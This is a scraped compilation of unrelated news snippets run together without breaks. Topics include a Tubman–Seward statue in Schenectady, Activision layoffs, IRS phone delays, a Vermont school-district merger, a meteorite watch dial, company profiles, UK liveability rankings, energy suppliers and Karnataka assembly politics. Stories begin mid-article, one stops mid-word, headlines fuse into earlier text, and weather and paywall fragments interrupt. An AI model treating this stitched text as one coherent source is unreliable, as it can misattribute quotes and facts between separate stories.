In 1858, Tubman helped runaway slave Charles Nalle escape from his captors in Troy. She helped Nalle flee across the Hudson River to Watervliet, where Nalle was recaptured. Tubman helped him break free a second time and assisted his passage through Schenectady to safety in Niskayuna, before helping Nalle buy his freedom for $650.

After the Civil War, Tubman welcomed poor and elderly black people into her home in Auburn. She was in her early 90s when she died in 1913 and is buried at Fort Hill Cemetery, where Seward, who died in 1872 at age 71, is also buried.

"Biographies of Seward and Tubman include very little about their friendship," Wicks said. "We thought it was important to celebrate the ways in which their lives intersected and lessons we can take away today from them."

Although there are statues of Seward in several states, including New York and Alaska, the Tubman-Seward pairing is unique. "This shows the human side of Seward that goes beyond his political accomplishments," Wicks said.

Wicks was disappointed that Union College administrators were not receptive to installing the statue on campus, because Tubman did not attend the school. Wicks and fellow emeritus Union professors Carl George and Twitty Styles, who were key supporters, are pleased that it will end up in front of the public library.

The two friends from Auburn  Seward holding a walking stick and Tubman clutching a shepherd's staff  will be anchored to a rough-hewn slab of dolomite from a Mohawk Valley quarry. The simple inscription will read: "William Seward and Harriet Tubman. Leaders for freedom, diversity and friendship. Gift by the people for the people."

Wicks is proud of the fact that it will be the first statue of an African American in Schenectady.

Benedict praised the generous spirit of selflessness of his Mennonite neighbors, who helped the bronze statue of Tubman and Seward rise from the ashes. "The sculptures were given a new life and I think they came out even better the second time," the sculptor said.

Paul Grondahl is director of the New York State Writers Institute at the University at Albany and a former Times Union reporter. He can be reached at grondahlpaul@gmail.com.Colonie

Video game developer Vicarious Visions has laid off 12 employees as part of a larger corporate restructuring of its parent company Activision Blizzard.

Although Vicarious Visions is in the middle of a $7.3 million expansion into a new 44,000-square foot-office in Colonie, the video game developer's parent company, Activision Blizzard, revealed earlier this week that it would be cutting 8 percent of its workforce across the company's various units and subsidiaries, which is 800 people.

Vicarious Visions has roughly 200 employees and is planning to add 115 people as part of a $2 million tax break deal with New York state that was announced by Gov. Andrew Cuomo last fall. The 12 full-time jobs comes out to roughly 6 percent of the staff.

Activision Blizzard revealed the job cuts during a conference call with analysts on Tuesday. Chief Operating Officer Cody Johnson said the plan "will result in a net headcount reduction of approximately 8 percent while also driving a significant increase in investment, focus and capabilities around our biggest franchises. "

Vicarious Visions currently has six job openings at its Colonie offices, according to its web site.

Jennifer O'Neal, the studio head of Vicarious Visions, confirmed Wednesday that the company had let go 12 full-time employees as part of the restructuring initiative at Activision Blizzard.

"We are shifting our priorities and staff mix to better serve our projects that are currently in development," O'Neal said.

Last month, Activision announced that it was backing out of a deal to co-produce the popular Destiny 2 video game in partnership with Bungie. Vicarious Visions had been working on Destiny 2 before the announcement was made. Vicarious Visions did Crash Bandicoot N-Sane Trilogy.

"Vicarious Visions is currently in development on a number of projects that are important franchises for Activision Blizzard, but (we) do not have further information to share on this currently," O'Neal told the Times Union Wednesday.Washington

Disruptions from last month's partial government shutdown caused a "shocking" deterioration in the IRS' telephone help for taxpayers in the first week of the filing season, the agency's watchdog said in a report released Tuesday.

In the week of Jan. 28, the official start of the tax season, Internal Revenue Service staffers answered only 48 percent of calls seeking help in filing returns, with an average wait time of 17 minutes, the report from the office of the National Taxpayer Advocate said. That compares with 86 percent of calls answered, and an average wait of 4 minutes, at the same time last year.

In addition, 93 percent of taxpayers who phoned during the last week in January to arrange installment tax payments were unable to speak with an assistant.

The difference between the two years "for levels of service and wait times for phone lines ... is shocking," the advocate, Nina Olson, wrote in her annual report to Congress. "These numbers translate into real harm to real taxpayers. The IRS will be facing tough decisions in light of the shutdown's impact."

The agency is reviewing the report and is "continuing to assess the impact of the shutdown on our various operations," the IRS said in a statement Tuesday. "The IRS is committed to continue making improvements across our information technology, tax enforcement and taxpayer service operations."

"The IRS successfully reopened operations following the shutdown, and the agency is seeing a good start to the 2019 filing season," the statement said.

The report flagged other problems at an agency that was already straining, even before the shutdown, from the burden of a complex new tax law, inadequate funding and antiquated computer systems. The IRS' workforce faced a huge backlog  including 5 million pieces of mail to process when it returned to full strength Jan. 28 after the 35-day partial shutdown, which had furloughed most of its employees.

During the shutdown, the Trump administration made money available to pay hundreds of billions in refunds and ordered nearly 60 percent of the IRS workforce back to work without pay to handle tax returns and questions. Yet fewer than half the recalled employees had returned to their jobs by the time the shutdown had ended, according to congressional and government aides.

The disruption raised the possibility of delayed processing of returns and refunds  an annual check that about three-quarters of U.S. taxpayers typically count on. Lower-income households, especially, depend on refunds as their biggest cash infusion of the year.

The IRS has said that when taxpayers file electronically and use direct deposit to their bank accounts, roughly nine out of 10 refunds will continue to be issued this year in fewer than 21 days.

Still, anger is being vented on social media from people who have already filed their taxes and received smaller-than-expected refunds. President Donald Trump had pledged that under his tax-cut law, families would receive an average $4,000 tax cut. Most taxpayers did receive a tax cut. But because of how some workers had adjusted the amount of money withheld from their paychecks, to account for the complex tax changes, their refund has ended up smaller than they had anticipated.

The average refund paid in the first week of the filing season, which ended Feb. 1, was $1,865  down 8.4 percent from $2,035 in the same week last year  according to the IRS. In her report, Olson did not address how the tax law or the shutdown might have affected refunds. But during the early part of the shutdown, no IRS employees were authorized to answer the phone lines, issue refunds, establish installment agreements with taxpayers or review pending agency actions.The decision adds to the confusion about whether its OK to have a small amount of weed in the city. Norfolk police have said they will continue to cite people for misdemeanor marijuana possession as theyve always done. Circuit Court judges appear determined to make sure offenders are tried, even if the commonwealths attorney refuses to prosecute them.Graveside services for Amanda Walker Hall will be held Friday June 25, 2021 at 6PM in Laurel Hill Cemetery. Amanda passed away on July 25, 2020 in Roswell. She was the daughter of the late Margaret and Donnie Walker. Amanda was a graduate of Thomasville High School. She is survived by her da

remaining of

SUPPORT LOCAL JOURNALISM! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading.The Democratic governor came under scrutiny when a conservative news outlet posted a photo from his section of the yearbook that showed two people in racist costumes, one wearing blackface and the other in a Ku Klux Klan robe and hood. He apologized on Feb. 1 for his decision to appear as I did in this photo, then said in a news conference the next day he did not believe he was in it.Local

Washington Central Unified Union School District

WCUUSD: Merger meeting set for Tuesday

EAST MONTPELIER  Barring some new development, the once-delayed organizational meeting for the Washington Central Unified Union School District will be held next Tuesday at U-32 Middle and High School.

At least thats the plan, and at this point in the Act 46 program the only thing that might alter it is a swiftly issued injunction.

With Judge Robert Mello expected to entertain a disputed request for just such judicial relief Friday afternoon, an injunction isnt out of the question.

Mello plans to spend Friday afternoon in his St. Albans courtroom catching up on three separate court cases challenging the forced phase of the states school district consolidation law. Arguments for and against the requested injunction are expected to be part of that proceeding.

It is unclear whether an injunction could theoretically block rescheduled organizational meetings like the one set for 6 p.m. Tuesday in the U-32 auditorium.

Washington Central Superintendent Bill Kimball hasnt ruled it out, but he isnt banking on it, either.

Until Kimball is told otherwise, he said the organizational meeting is on, the transitional board contemplated in Act 46 will be sworn in, and some threshold decisions will be made by voters who attend a session designed for that purpose.

Right now, nothings changed, Kimball said, noting that technically the five-town, six-school supervisory union is still under order to merge into one pre-K-12 district by July 1.

Thats the law, he said.

House lawmakers recently passed a bill that would give some districts subject to state-ordered mergers  including those in Washington Central  an extra year to prepare. The Senate Education Committee hasnt yet scheduled a discussion of that bill and even those who support it fear there arent enough votes in the Senate to actually pass it.

Even if there are, the bill that passed the House includes a July 1 deadline that districts granted the contemplated extension would have to meet if they want to make changes to default articles of agreement proposed by the state.

According to the bill, those amendments would have to be approved by voters by July 1. The statutory responsibility for warning a special election for that purpose falls to transitional boards, like the 12-member panel that is scheduled to be sworn in on Tuesday at U-32.

Unless Mello orders otherwise, canceling organizational meetings could create a time crunch in districts, like those in Washington Central, where school board members have expressed interest in proposing articles of agreement that are different than the ones the state would impose.

The organizational meetings themselves represent an opportunity for voters to decide how the merged district will conduct its business. That includes whether to use the daylong voting system commonly referred to as the Australian ballot to elect school board members and approve budgets.

Those and other decisions will be made by only those voters who attend the organizational meetings. Tuesdays meeting will be open to all registered voters in Berlin, Calais, East Montpelier, Middlesex and Worcester. School districts in four of those five towns  Berlin, Calais, Middlesex and Worcester  are parties to one of the three lawsuits now pending before Mello. Lawyers in that case have requested the injunction.

david.delcore @timesargus.com



























Swiss independent watchmakeris launching the first series watch of the brand made in stainless steel.The newis also Romain Gauthier's first series watch that features a dial (and not just a subdial) entirely made of meteorite.For this model, the master watchmaker used a Henbury meteorite, which is much rarer than the fairly common Gibeon meteorite, the choice of most brands for their meteorite dials. Apart from the piece used by Romain Gauthier for this model, the only other known sample of this Henbury meteorite is housed in the South Australian Museum of minerals, meteorites and rocks in Adelaide.Commenting about the inspiration for this timepiece, Romain explained: When I first set eyes on this meteorite, the size of its crystal bands and the way they reflect the light, I knew that it was something special. It really stood out from the other iron meteorites that we are used to seeing. Immediately my thoughts turned to how I could use it for a special edition timepiece.The meteorite used to make this special dial was discovered in 1931 at the Henbury crater field in the Northern Territory of Australia. Technically speaking, it is an octahedrite composed mainly of the nickel-iron minerals taenite and kamacite and it takes its name from the octahedral (eight-sided) shape of the kamacite crystals.It is only after a treatment with nitric acid that the grey metal piece reveals the distinctive criss-crossing pattern of silvery-gray blades, known as Widmanstatten patterns or Thomson structures. These structures formed during a long period of cooling within the parent asteroid.A combination of three-axe machining centre and electrical discharge machining is used to obtain a disc that is 33 mm in diameter and 0.8 mm thick. To ensure that the dial will maintain its unique appearance, an anti-corrosion treatment is then applied.The choice to frame the dial with a stainless steel case makes perfect sense considering the common iron base.43 mm in diameter, the case is characterized by clean lines with no visible crown. In fact, the crown is here placed on the back, a choice which increases winding efficiency and water resistance, while reducing wear and stress of components. The crown is pulled out for time-setting.In terms of finishes, the bezel and caseband are polished, while the caseback, crown and front and back of the lugs are satin finished.The shimmering dial displays hours and minutes in the large subdial at 12 oclock with small seconds at 5 oclock. The hands are all in blackened steel, with the hour-minute hands and the white gold applied hour markers Super-LumiNova-filled to offer excellent readability even with poor light.Beating at 28,800 vibrations per hour with a power reserve of 60 hours, the beautiful Calibre 2206 HMS is visible through the sapphire crystal case back. Hand-finishing adheres to the highest standards of Haute Horlogerie. Finger bridges feature polished, rounded bevels meticulously created by hand, as well as hand-chamfered and hand-polished jewel countersinks.The bridges and mainplate are black NAC-treated with straight-graining to make them stand out against the hand-frosted mainplate. As many as 60 hours have been devoted to hand-decorating the movement, even those components that are not visible.A glimpse of the disc of meteorite forming the dial can be seen through the movement components.The Romain Gauthier Prestige HMS Stainless Steel is a 10-piece limited edition and has a price of Swiss Francs 68,000 excluding taxes.We're always interested in hearing about news in our community. Let us know what's going on!

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Today

Mostly cloudy skies. A stray shower or thunderstorm is possible. High 81F. Winds E at 10 to 15 mph..

Tonight

Some passing clouds. A stray shower or thunderstorm is possible. Low around 65F. Winds E at 5 to 10 mph.39 minutes ago

| June 24th | 2021 1:38 PM

US economy grows 6.4% in Q1, and it's likely just the start

WASHINGTON (AP)  The U.S. economy grew at a solid 6.4% rate in the first three months of the year, setting the stage for what economists believe may be the strongest year for the economy in about seven decades. Growth in the gross domestic product, the country's total output of goods and services, was unchanged from two previous estimates,Star Parkers Thursday column hit the nail on the head. You dont need to look very far to see our fractured family structures and Christian beliefs being denigrated; the yare the very things our nation was formed on.Altria Group, Inc., through its subsidiaries, manufactures and sells cigarettes, oral tobacco products, and wine in the United States. It offers cigarettes primarily under the Marlboro brand; cigars principally under the Black & Mild brand; and moist smokeless tobacco products under the Copenhagen, Skoal, Red Seal, and Husky brands, as well as provides on! oral nicotine pouches. The company also produces and sells varietal and blended table wines, and sparkling wines under the Chateau Ste. Michelle and 14 Hands names; and imports and markets Antinori, Torres, and Villa Maria Estate wines, as well as Champagne Nicolas Feuillatte in the United States. In addition, it provides finance leasing services primarily in transportation, power generation, real estate, and manufacturing equipment industries. The company sells its tobacco products primarily to wholesalers, including distributors; and large retail organizations, such as chain stores. Altria Group, Inc. was founded in 1822 and is headquartered in Richmond, Virginia.

Read MoreAlly Financial Inc., a bank holding company, provides various digital financial products and services to consumer, commercial, and corporate customers primarily in the United States and Canada. It operates through four segments: Automotive Finance Operations, Insurance Operations, Mortgage Finance Operations, and Corporate Finance Operations. The Automotive Finance Operations segment offers automotive financing services, including providing retail installment sales contracts, loans and operating leases, term loans, financing dealer floorplans, warehouse lines to automotive retailers, and fleet financing. It also provides financing services to companies and municipalities for the purchase or lease of vehicles, and vehicle-remarketing services. The Insurance Operations segment offers consumer finance protection and insurance products through the automotive dealer channel, and commercial insurance products directly to dealers. This segment provides vehicle service and maintenance contract, and guaranteed asset protection products; and underwrites commercial insurance coverages, which primarily insure dealers' vehicle inventory. The Mortgage Finance Operations segment manages held-for-investment consumer mortgage loan portfolio that includes bulk purchases of jumbo and low-to-moderate income mortgage loans originated by third parties, as well as direct-to-consumer mortgage offerings. The Corporate Finance Operations segment provides senior secured leveraged cash flow and asset-based loans to middle market companies; leveraged loans; and commercial real estate product to serve companies in the healthcare industry. The company, through its subsidiary, Ally Bank, also offers commercial banking products and services. In addition, it provides securities brokerage and investment advisory services. The company was formerly known as GMAC Inc. and changed its name to Ally Financial Inc. in May 2010. Ally Financial Inc. was founded in 1919 and is based in Detroit, Michigan.

Read MoreMINNEAPOLIS-ST. PAUL, February 11, 2019  Thomson Reuters has launched CLEAR Risk InformTM, a new product to improve the risk-analysis process for organizations and the first risk-scoring solution to bring together analysis and public records with customizable definitions.

CLEAR Risk Inform was developed in collaboration with industry experts in banking, finance, insurance, healthcare, provider enrollment and vendor management organizations. These industries have thresholds aimed to minimize fraud, waste and abuse when exploring whether to conduct business with a prospective entity. CLEAR Risk Inform allows organizations to create an institutionalized risk assessment from public data.

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Thomson Reuters CLEAR Risk Inform is the easiest way to analyze crucial information about people and businesses, their affiliations, assets and more from a vast collection of public and proprietary records, said Kevin Appold, U.S. Public Records Lead for Thomson Reuters. Through the customization made possible by CLEAR Risk Inform, an organization can establish its own risk level by assigning certain scores for various risk factors, creating a repeatable risk analysis that is not influenced by human bias or human error and improves efficiency through a tailored workflow.

CLEAR Risk Inform can provide risk assessments that include an array of legal offenses including counterfeiting, identity theft, fraud, money laundering and more. And Thomson Reuters attorney editors have coded and organized content into a system where users can focus on serious offenses and avoid irrelevant results.

Thomson Reuters has analyzed data for more than 100 years, and we have taken criminal records from across state and federal jurisdictions, enhanced with our proprietary data, to deliver information needed to assess risk in a way everyone can understand and make decisions with greater confidence, said Appold. With hundreds of interactive risk flags, analysts can view flagged records for further evaluation.

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Thomson Reuters is not a consumer reporting agency and none of its services or the data contained therein constitute a consumer report as such term is defined in the Federal Fair Credit Reporting Act (FCRA), 15 U.S.C. sec. 1681 et seq. The data provided to you may not be used as a factor in consumer debt collection decisioning, establishing a consumers eligibility for credit, insurance, employment, government benefits, or housing, or for any other purpose authorized under the FCRA. By accessing one of our services, you agree not to use the service or data for any purpose authorized under the FCRA or in relation to taking an adverse action relating to a consumer application.

Thomson Reuters

Thomson Reuters is the worlds leading provider of news and information-based tools to professionals. Our worldwide network of journalists and specialist editors keep customers up to speed on global developments, with a particular focus on legal, regulatory and tax changes. Thomson Reuters shares are listed on the Toronto and New York Stock Exchanges. For more information on Thomson Reuters, visit tr.com and for the latest world news, reuters.com.

CONTACT

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mark.harrop@thomsonreuters.comLondon lags behind all UK cities, except Glasgow, when it comes to quality of life as more crime and more pollution make living conditions worse in the capital, new research shows.

Edinburgh is the only city in the UK to make it to the top 20 most liveable cities in the world. The Scottish capital ranked 19 thanks to a range of factors including lower air pollution and a greater level of personal security.

Aberdeen, another Scottish city, came in at 21 for similar reasons, but London ranked way below at 49, along with Belfast, behind only Glasgow, which was at 57th place.

Edinburgh is the only city in the UK to make it to the top 20 most liveable cities in the world.

Manchester came in at 40th place, while Cardiff did better at 24th place.

But none of the UK cities anyway stand a chance in the with Northern European cities, which continue to dominate the top of the rankings in the latest annual report by ECA International.

Neil Ashman, analyst at ECA International said: It is understandable that smaller cities such as Edinburgh, Manchester and Belfast score better in areas that will always pose a challenge for a city as big as London, such air quality and personal security.

This is a trend we see repeated throughout the world. For instance, Berlin is the lowest ranked of the seven German cities in our rankings, and Paris is fourth out of the five French cities in our list.

Top 20 most liveable locations in the world (Source: ECA International)

Denmark's capital Copenhagen and the Swiss city of Bern offer the best liveability standards, scoring at the top of the index for now over seven years.

And Dublin, the capital of the Republic of Ireland, re-entered the top ten for the first time in three years thanks to higher levels of security, making it to ninth position.

Cities around the world are evaluated on a variety of factors including availability of health services, housing and utilities, vicinity to expats community, leisure facilities, infrastructure, climate, personal safety, political tensions and air quality.

Ashman added: 'Cities in Scandinavia, Switzerland and the Netherlands have offered good liveability across the board for many years now; with factors such as excellent infrastructure, reliable transport systems, and a high level of healthcare all contributing to their consistently excellent liveability score.'

The most liveable non-European city was Toronto, in Canada, with Canadian cities generally all scoring well thanks to low crime levels, good public facilities, and little air pollution.

Toronto, Vancouver, Ottawa and Montreal all scored higher than Belfast, London and Glasgow in the UK, the report shows.Industrial production in the eurozone was 0.9 per cent lower in December than November, according to statistics agency Eurostat

Eurozone factories have seen production slump for the second month in a row, in a fresh sign that a slowdown has gripped the bloc.

Industrial production was 0.9 per cent lower in December than November, according to statistics agency Eurostat, following a 1.7 per cent fall the previous month.

There were particularly sharp falls in Malta, Ireland and Netherlands  all countries with close trading ties to Britain  suggesting that the fall may be partly linked to uncertainty over Brexit.

Production across the monetary union has now fallen for four of the last six months recorded.

The eurozone grew by only 0.2 per cent in the final three months of 2018 as manufacturers suffered from a crackdown on global trade by US President Donald Trump.Democrats took the majority of seats in the House last November, shifting the winds of power so they are now in a position to lead various committees and panels for the first time since 2013. That upheaval has since sparked bitter partisan fights over healthcare, border security, social safety nets and a plethora of other topics.Intercontinental Hotels Group has waded further into the luxury holiday market by snapping up resort and spa firm Six Senses for 232million.

Holiday Inn-owner IHG will buy the company from US private equity firm Pegasus Capital Advisors.

Bangkok-based Six Senses manages 16 resorts and 37 spas from the Maldives  where double rooms start at 672 a night  to the Seychelles, Thailand and Oman.

Resort deal: IHG will buy resort and spa firm Six Senses from US private equity firm Pegasus Capital Advisors

It will mean FTSE 100-listed IHG has 400 luxury hotels open or being built, with 108,000 rooms.

It hopes to expand Six Senses to more than 60 sites in the next ten years.

It said there is already a property under construction in West Chelsea in Manhattan.

IHG chief executive Keith Barr, who joined in 2017, said: 'Six Senses is an outstanding brand in the top tier, one we've admired for some time.'

Barr last year said his growth strategy included targeting wealthier travellers  and IHG last year bought 51 per cent of upmarket brand Regent Hotels and Resorts for 30million.

Shares rose 2.2 per cent, or 97p, to 4555.5p.Gambling giant Paddy Power Betfair has been stung with a 49million tax bill in Greece and Germany.

The bookie said a German court found it owes 36million related to a 2012 tax assessment of Betfair Exchange, which operated there until November that year.

It was also hit with a demand for taxes from 2012, 2013 and 2014 financial years which it said was related to paddypowers interim licence in Greece.

Tax bill: Paddy Power Betfair said a German court found it owes 36m related to a 2012 tax assessment of Betfair Exchange, which operated there until November 2012

This found that the company owes 13million in taxes, which it said is much higher than the total revenue it earned in the country.

FTSE 100-listed Paddy Power has paid up in Greece, where it is seeking to recover the cash.

It said: The group strongly disputes the basis of these assessments, and in line with the legal and tax advice we have received, is confident in our grounds to appeal. We therefore intend to do so.

Pending the outcome of these appeals, we paid the total Greek liability in January 2019 while we await clarity with respect to the timing of any cash payment in Germany.

Paddy Power and Betfair merged in 2016 in a 7billion deal. Its shares rose 1.3 per cent, or 80p, to 6410p.Threat: Almost 500 cash machines are being axed from the High Street every month

Britain's cash machine network is 'broken' and in desperate need of an overhaul to protect small businesses and vulnerable families, a top MP has warned.

Almost 500 are being axed from the High Street every month in a move that could isolate elderly customers who rely on them to pay their bills.

Senior politicians have now called for drastic action as millions of Britons are left struggling to withdraw cash from banks.

Nicky Morgan, Tory MP and chairman of the Treasury Select Committee, said: 'The national system for people to have access to their cash via machines is basically broken.'

The increasing popularity of digital payment services such as Apple Pay has seen swathes of free cash machines in rural areas closed as falling demand for hard cash makes them too costly to operate.

That also hurts millions of small business owners which have customers who want to pay for goods using notes and coins.

Britain's ATM network is run by Link, which has been criticised for increasing the fees independent operators have to pay to banks when money is withdrawn from one of their cash machines.Tabloid target? Jeff Bezos has accused the National Enquirer, of extortion and blackmail

Jeff Bezos's troubles with the National Enquirer, which he accuses of extortion and blackmail after it procured intimate pictures the Amazon founder sent to his spicy maitresse-en-titre Lauren Sanchez, is a headache for the Washington Post.

The story is grubby, well beneath the newspaper's high-minded values, but undoubtedly 'news'.

Bezos is also the Post's proprietor. Solution: A 'J'accuse' style editorial praising Bezos as a fearless warrior against 'an insidious model of intimidation, and corruption masquerading as journalism'.

Has Tony Blair offered any unsolicited advice to Nissan boss Carlos Ghosn, currently languishing in a Japanese cell after being arrested for alleged financial impropriety?

Blair, who knew Ghosn well during his time as prime minister, has become to go-to man for the global elite on crisis management since leaving Downing Street.

On Brexit matters, JP Morgan boss Jamie Dimon is said to defer to him on everything. The pair were practically inseparable at JP's glitzy party in Davos last month.

Evergreen pension tsar Baroness Altmann threatens to renounce the Conservative whip should a No Deal Brexit emerge next month.

She tells Financial News: 'Crashing out with No Deal is against everything I believe the Tory party stands for.' Let's hope she remembers to resign this time.

When David Cameron made her peer in 2015, it emerged she was still a paid-up member of the Labour party.

BP boss Bob Dudley warns oil market uncertainty could lead to a 'real crunch'. I couldn't work out whether this means prices are going to rise or fall. Strangely, BP's press office could not shed much light on it either. Suggestions welcome.

Still looking for Valentine's Day inspiration? Grocer Morrisons' cafe in Skipton, Yorkshire, offers a five-course meal with a glass of champagne for just 10.

Diners can enjoy 'Oysters Rockefeller, followed by a starter of lobster, crayfish and crab mac and cheese, a main of premium rump steak, a selection of desserts including raspberry roulade and lemon tart, finally finished with Belgian petit fours and coffee.'

Bargain! Though I fear the champagne can't be up to much.Little-known energy companies are beating the big suppliers to offer the cheapest prices on the market.

And some of the companies with the top deals hail from Italy, France and Holland.

But many households will be nervous about putting their gas and electricity supplies with firms they have never even heard of.

So which are the firms putting the Big Six suppliers to shame? Here we give our rundown of the tiny energy firms offering the best deals.

Little-known energy companies are beating the big suppliers to offer cheaper prices

Engie

The international French firm has its origins in Gaz de France, set up by former communist minister for industry Marcel Paul when he nationalised the country's gas production just after World War II.

Engie operates in 70 countries and has been supplying businesses in the UK for 30 years, but only started offering deals to households last December.

This week, it even promised to switch customers to the best tariff at the end of their fixed deals.

Engie is still part-owned by the French government and its UK chief executive, Wilfrid Petrie, 51, is French. But it has offices in Leeds and a call centre in Newcastle-upon-Tyne.

Customers can pay by cheque at no extra cost but it charges 15 more a year per fuel if you have paper bills. It plans to allow cash payments via the Post Office in the near future.

Cheapest tariff: Fixed Sept 18 v3 Paperless, 879 a year for a typical household using 12,500 kilowatt hours of gas and 3,100 kWh of electricity a year.

Many households will be nervous about signing up to providers they have never even heard of

Green Network Energy

This company says it wants to 'bring a little Italian flavour' to the UK's energy market and greets callers with a cheery 'benvenuto' before asking whether they'd like to continue their call in English.

Green Network Energy was founded in 2003, but only arrived in the UK last November. Vice president Sabrina Corbo 47, has moved to London to help the firm take on Britain's Big Six.

Its call centres in London and Ireland are staffed by Italian and English workers.The firm reinvests its profits in green energy production.

Cheapest tariff: The Italian Touch V4 GNE FIX, 883 a year for a typical household.

Bulb

An East London renewable energy start-up launched just a year ago and founded by Cambridge maths boffin Amit Gudka and economics graduate Hayden Wood, both 33.

Mr Gudka was an energy trader and Mr Wood a management consultant before they set up shop together.

Bulb has only one tariff, a variable-rate deal called Vari-Fair. It only accepts payment by direct debit and doesn't offer paper billing. Its call centre is based in London.

Cheapest tariff: Vari-Fair, 888 a year.

Foreign invasion: Some of the companies with the top deals hail from Italy, France and Holland

Bristol Energy

Launched just over a year ago, Bristol Energy is wholly owned by the city council but supplies customers across the UK. It ploughs profits back into the Bristol community.

As well as nationwide tariffs, it has a range of special deals for Bristol customers and a local tariff that covers the wider South West, South Wales, West Midlands and Southern regions. Its call centre is also based in Bristol.

Paper bills cost an extra 6 a year per fuel. Customers can pay by cheque or cash if they prefer at no extra cost. Managing director Peter Haigh, 53, has worked in the energy market for 20 years, including a stint at giant E.On.

Cheapest tariff: One-year fix issue 13 paperless, 901.

OneSelect

Sister company to Dutch supplier EnergieFlex, it was only set up in the UK last month and is based in Farnborough, Hants.

OneSelect is still restricted in the number of customers it can sign up. That's because energy watchdog, Ofgem, sets limits on new energy firms to prevent them being flooded with customers they can't service properly.

Its only tariff  Secure 1-year fix  is one of the cheapest on the market. OneSelect director Sathees Sampar, 40, remains in charge of EnergieFlex, founded in 2014, which supplies 100,000 customers in Holland.

There's no charge for paper bills, and you can pay by cheque at no extra cost, if you don't want to set up a direct debit. There's no option to pay in cash.

Cheapest tariff: Secure 1-year fix, 850 (excludes Scotland).

Affect Energy

Based in Shoreham-by-Sea, West Sussex, the company was launched in March 2016. Chief executive John Szymik, 32, also hails from one of the Big Six, EDF Energy.

Affect says it aims to 'keep things simple', only ever offering one tariff at a time. It also has a standard tariff you will be automatically rolled onto when your deal ends.

Tariffs must be managed online and Affect Energy only accepts payments by direct debit.

Cheapest tariff: Fixed until May 2018, 882.

l.milner@dailymail.co.ukWesterly, RI (02891)

Today

Abundant sunshine. High 72F. Winds ESE at 10 to 15 mph..

Tonight

Partly cloudy skies this evening will give way to occasional showers overnight. Low 59F. Winds ENE at 5 to 10 mph. Chance of rain 40%.It's not publicly known why the governor or his aides were so interested in helping Jagger, who makes $144,000 a year as a vice president at the CPA group. But with Snyder's term nearing an end, his staff put the case "at the top of the stack and said, 'Process this one,'" said Chris Gautz, a spokesman at the Corrections Department, where pardon files are screened.Hyderabad, Feb 13 (PTI) CPI General Secretary Suravaram Sudhakar Reddy Wednesday slammed Telangana Chief Minister K Chandrasekhar Rao for not constituting a full-fledged Cabinet even after two months of assuming office.

"This shows his (Rao's) carelessness and irresponsibility," Reddy said.

Rao was sworn in on December 13 last year after his party, the Telangana Rashtra Samiti (TRS), swept back to power for the second consecutive term with a thumping majority.

Mohd Mahmood Ali also took oath along with him and he was allotted the Home portfolio on the same day.

Since then there has been no Cabinet expansion.

"I am really surprised. Nobody is able to tell the reason. I think he (Rao) is in a fix how to select the Cabinet colleagues; he is confused that there would be dissent from large section of people (who miss out on Cabinet berths)," Reddy told PTI.

"As a matter fact, had he done (Cabinet expansion) within a week, there would not have been any problem. Now, too many aspirants. I think it's very funny that even after 60 days, he is unable to form a (full-fledged) Cabinet. This shows his carelessness and irresponsibility," he said. PTI RS SS SOM

SOMKarna assembly speaker compares himself to rape survivor

Bengaluru, Feb 12 (PTI): Karnataka assembly speaker

Ramesh Kumar Tuesday compared himself to a rape survivor

having to undergo repeated questioning as he referred to

repeated charges against him being part of the controversial

audio tapes, over which government has constituted an SIT.

The speaker made the intervention during the discussions

in the assembly over the Special Investigation Team probe

into an audio clip showing BJP chief B S Yeddyurappa in a

purported conversation to lure a JD(S) MLA in his alleged

attempt to topple the Congress-JDS government.

The Speaker, pointing to repeated reference to charges

against him, said his "situation was like that of a rape

victim, as they too are supposedly questioned about the

incident repeatedly."

Kumaraswamy on Monday had announced a comprehensive SIT

probe into the audio clip.

He had accepted an "advice" by an emotional Speaker to

constitute SIT to probe the episode to "establish the truth"

as his name has also been dragged with the charge that he had

been "booked" for Rs 50 crore.

The stand-off between the government and opposition

continued in the assembly Tuesday over an SIT probe into the

audio clip.

Kumaraswamy on Monday had announced a comprehensive SIT

probe into the audio clip.

He had accepted an "advice" by an emotional Speaker to

constitute the Special Investigation Team to probe the episode

to "establish the truth" as his name has also been dragged

with the charge that he had been "booked" for Rs 50 crore.

The Speaker called for a meeting of floor leaders on

Wednesday to resolve the issue, as the BJP stuck to its strong

opposition to the SIT, saying it could be used for "political

vengeance."

He decided to convene the meeting at the end of the day

long discussion on the issue for the second consecutive day in

the Assembly, with both the ruling Congress-JD(S) coalition

and opposition BJP refusing to budge from their positions.

"Let's discuss and try to find a solution," the Speaker

announced as he adjourned the assembly proceedings to

Wednesday morning.

The Speaker's decision came after Yeddyurappa, the leader

of the opposition, pointed out that no effort was made by the

Chair to seek the opinion of the opposition before deciding on

the investigation agency to inquire into the case.

"SIT is being imposed upon us forcefully," he said.

Yeddyurappa expressed apprehensions about the SIT as it

comes under the Chief Minister and said he was firm on his

stand to quit politics if it was proved he was present during

conversations between the persons in the audio on a "Rs 50

crore offer to book" the Speaker, as alleged by Kumaraswamy.

Accusing the Chief Minister of hatching a conspiracy

against him by "twisting facts", he said Kumaraswamy has

released the audio partially, to save his seat.

The BJP has objected to the SIT and insisted on

constituting a House committee or a judicial probe. They also

saId that the probe cannot be conducted by an agency that is

under the Chief Minister as he too was a party in the case.

The political war over charges of horse-trading had

escalated in Karnataka on Friday with Kumaraswamy releasing

the audio clip.

As the House met for the day, opposition members

requested the Chair to reconsider the decision to hand over

the probe to the SIT.

Several BJP members, including Yeddyurappa, demanded a

probe by house committee or judicial inquiry into the matter.

Kumaraswamy had said that during the purported

conversation that there was a mention about a "Rs 50 crore

offer to book" the Speaker to give a ruling in favour of MLAs

who might resign to help the BJP bring down his government.

Former Chief Minister Jagadish Shettar allegedthat

Kumaraswamy was behind the audio conversation as he was the

one who sent Sharan Gouda, son of the MLA Naganagouda, who was

being lured and he also heard the conversation between the two

individuals via a conference call.

"So the CM is the offender, he is the first accused in

the case," he said.

Another senior BJP member Madhu Swamy, questioning the

constitution of the SIT, said the probe report can only be

submitted to court by the SIT and not to the government or the

Chair.

Kumaraswamy expressed surprise about being called 'A1' by

BJP in the case and said that since the leader of the

opposition and other members have called him accused, "at

least to punish me, a comprehensive inquiry has to happen."

Hitting out at BJP for suspecting political vengeance on

the part of the government and its officials, he asked "did I

direct Yeddyurappa and others in the way they did.?

Claiming to enjoy the complete confidence of Congress and

JD(S) MLAs, Kumaraswamy spoke of the need to amend the

anti-defection law and said if an elected MLA resigns, he

should not be allowed to contest elections for five years.

"Such a permanent change has to be brought in," he said.

